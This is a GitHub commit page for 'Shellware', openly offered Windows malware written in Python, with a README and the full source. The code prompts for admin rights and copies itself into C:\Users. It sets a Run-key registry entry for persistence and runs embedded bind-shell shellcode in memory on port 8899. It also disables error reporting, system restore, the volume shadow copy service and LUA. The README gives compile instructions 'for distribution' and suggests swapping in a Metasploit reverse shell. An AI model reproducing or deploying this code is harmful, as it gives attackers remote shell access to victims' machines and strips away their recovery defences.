Skip to content

Commit 3ec2e97

Browse files
author
unknown
committed
First commit
0 parents  commit 3ec2e97

File tree

2 files changed

+194
-0
lines changed

2 files changed

+194
-0
lines changed

README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#Shellware
2+
3+
Upon execution Shellware will prompt for administrative privileges, once granted it wil copy itself to the C:\Users directory and add a registry entry for persistence.
4+
It will open port 8899 on the target machine and listen for a connection. Once a connection is established the program spawns an interactive OS shell.
5+
6+
Furthermore, the program attempts to tamper with certain registry entries to protect itself somewhat(and be generally annoying). The registry tampering attempts
7+
to disable error reporting, system restore and tries to disable LUA. I've had mixed results on different Windows platforms, however a registry entry for persistence has
8+
been consistently succesful throughout testing on various platforms.
9+
10+
11+
#Note
12+
The shellcode responsible for the operation of the bind shell can easily be replaced with shellcode for a Reverse TCP Shell or Meterpreter service by generating said
13+
payload with the Metasploit Framework.
14+
15+
16+
#Usage
17+
Compile the script to exe with pyinstaller using the --noconsole and --onefile flags and the program is ready for distribution.
18+

shellware.py

Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
import os
2+
import sys
3+
import ctypes
4+
import os.path
5+
import pythoncom
6+
import pywintypes
7+
import win32api
8+
import subprocess
9+
from _winreg import *
10+
import getpass
11+
import win32com.shell.shell as shell
12+
13+
14+
def autorun(dir, fileName, run):
15+
16+
os.system('copy %s %s'%(fileName, dir))
17+
18+
# Queries Windows registry for the autorun key value
19+
key = OpenKey(HKEY_LOCAL_MACHINE, run)
20+
runkey =[]
21+
try:
22+
i = 0
23+
while True:
24+
subkey = EnumValue(key, i)
25+
runkey.append(subkey[0])
26+
i += 1
27+
except WindowsError:
28+
pass
29+
30+
# Queries Windows registry for the autorun key value
31+
# Stores the key values in runkey array
32+
key = OpenKey(HKEY_LOCAL_MACHINE, run)
33+
runkey =[]
34+
try:
35+
i = 0
36+
while True:
37+
subkey = EnumValue(key, i)
38+
runkey.append(subkey[0])
39+
i += 1
40+
except WindowsError:
41+
pass
42+
43+
# Set key
44+
if 'foobar' not in runkey:
45+
try:
46+
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
47+
SetValueEx(key ,'foobar',0,REG_SZ,r"C:\Users\shellware.exe")
48+
key.Close()
49+
except WindowsError:
50+
pass
51+
52+
53+
def execute():
54+
#Bind shell
55+
shellcode = bytearray(
56+
"\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
57+
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"
58+
"\x69\xf8\x6c\xad\x6a\x9d\xe5\x48\x5b\x9d\x92\x19\xcc\x2d"
59+
"\xd0\x4f\xe1\xc6\xb4\x7b\x72\xaa\x10\x8c\x33\x01\x47\xa3"
60+
"\xc4\x3a\xbb\xa2\x46\x41\xe8\x04\x76\x8a\xfd\x45\xbf\xf7"
61+
"\x0c\x17\x68\x73\xa2\x87\x1d\xc9\x7f\x2c\x6d\xdf\x07\xd1"
62+
"\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc"
63+
"\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66"
64+
"\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91"
65+
"\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f"
66+
"\x6f\x4e\x2d\xdf\xf9\x14\x0a\xfb\xa2\xcf\x33\x5a\x0f\xa1"
67+
"\x4c\xbc\xf0\x1e\xe9\xb7\x1d\x4a\x80\x9a\x49\xbf\xa9\x24"
68+
"\x8a\xd7\xba\x57\xb8\x78\x11\xff\xf0\xf1\xbf\xf8\xf7\x2b"
69+
"\x07\x96\x09\xd4\x78\xbf\xcd\x80\x28\xd7\xe4\xa8\xa2\x27"
70+
"\x08\x7d\x5e\x2f\xaf\x2e\x7d\xd2\x0f\x9f\xc1\x7c\xf8\xf5"
71+
"\xcd\xa3\x18\xf6\x07\xcc\xb1\x0b\xa8\xd0\x82\x85\x4e\x7e"
72+
"\x15\xc0\xd9\x16\xd7\x37\xd2\x81\x28\x12\x4a\x25\x60\x74"
73+
"\x4d\x4a\x71\x52\xf9\xdc\xfa\xb1\x3d\xfd\xfc\x9f\x15\x6a"
74+
"\x6a\x55\xf4\xd9\x0a\x6a\xdd\x89\xaf\xf9\xba\x49\xb9\xe1"
75+
"\x14\x1e\xee\xd4\x6c\xca\x02\x4e\xc7\xe8\xde\x16\x20\xa8"
76+
"\x04\xeb\xaf\x31\xc8\x57\x94\x21\x14\x57\x90\x15\xc8\x0e"
77+
"\x4e\xc3\xae\xf8\x20\xbd\x78\x56\xeb\x29\xfc\x94\x2c\x2f"
78+
"\x01\xf1\xda\xcf\xb0\xac\x9a\xf0\x7d\x39\x2b\x89\x63\xd9"
79+
"\xd4\x40\x20\xe9\x9e\xc8\x01\x62\x47\x99\x13\xef\x78\x74"
80+
"\x57\x16\xfb\x7c\x28\xed\xe3\xf5\x2d\xa9\xa3\xe6\x5f\xa2"
81+
"\x41\x08\xf3\xc3\x43")
82+
83+
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
84+
ctypes.c_int(len(shellcode)),
85+
ctypes.c_int(0x3000),
86+
ctypes.c_int(0x40))
87+
88+
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
89+
90+
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
91+
buf,
92+
ctypes.c_int(len(shellcode)))
93+
94+
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
95+
ctypes.c_int(0),
96+
ctypes.c_int(ptr),
97+
ctypes.c_int(0),
98+
ctypes.c_int(0),
99+
ctypes.pointer(ctypes.c_int(0)))
100+
101+
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
102+
103+
def main():
104+
105+
dir = "C:\\Users\\"
106+
fileName = sys.argv[0]
107+
run = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
108+
autorun(dir, fileName, run)
109+
execute()
110+
111+
112+
113+
if os.path.isfile("C:\Users\shellware.exe"):
114+
pass
115+
else:
116+
if not shell.IsUserAnAdmin():
117+
#Prompt UAC
118+
ASADMIN = "asadmin"
119+
120+
if sys.argv[-1] != ASADMIN:
121+
script = os.path.abspath(sys.argv[0])
122+
params = ' '.join([script] + sys.argv[1:] + [ASADMIN])
123+
shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params)
124+
sys.exit(0)
125+
126+
class regedit():
127+
128+
def disable():
129+
try:
130+
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
131+
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
132+
subkeys = [ "Disabled", "DontSendAdditionalData", "LoggingDisabled" ]
133+
for subkey in subkeys:
134+
SetValueEx(aKey,subkey,0, REG_SZ, r"1")
135+
except:
136+
pass
137+
138+
try:
139+
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
140+
aKey = OpenKey(aReg, r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
141+
SetValueEx(aKey,"EnableLUA",0, REG_SZ, r"0")
142+
except:
143+
pass
144+
145+
try:
146+
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
147+
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
148+
SetValueEx(aKey,"Disabled",0, REG_SZ, r"1")
149+
except:
150+
pass
151+
152+
try:
153+
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
154+
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\vss", 0, KEY_WRITE)
155+
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
156+
except:
157+
pass
158+
159+
try:
160+
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
161+
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\srservice", 0, KEY_WRITE)
162+
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
163+
except:
164+
pass
165+
166+
try:
167+
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
168+
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore", 0, KEY_WRITE)
169+
SetValueEx(aKey,"DisableSR",0, REG_SZ, r"1")
170+
except:
171+
pass
172+
173+
174+
175+
if __name__ == "__main__":
176+
main()

0 commit comments

Comments
 (0)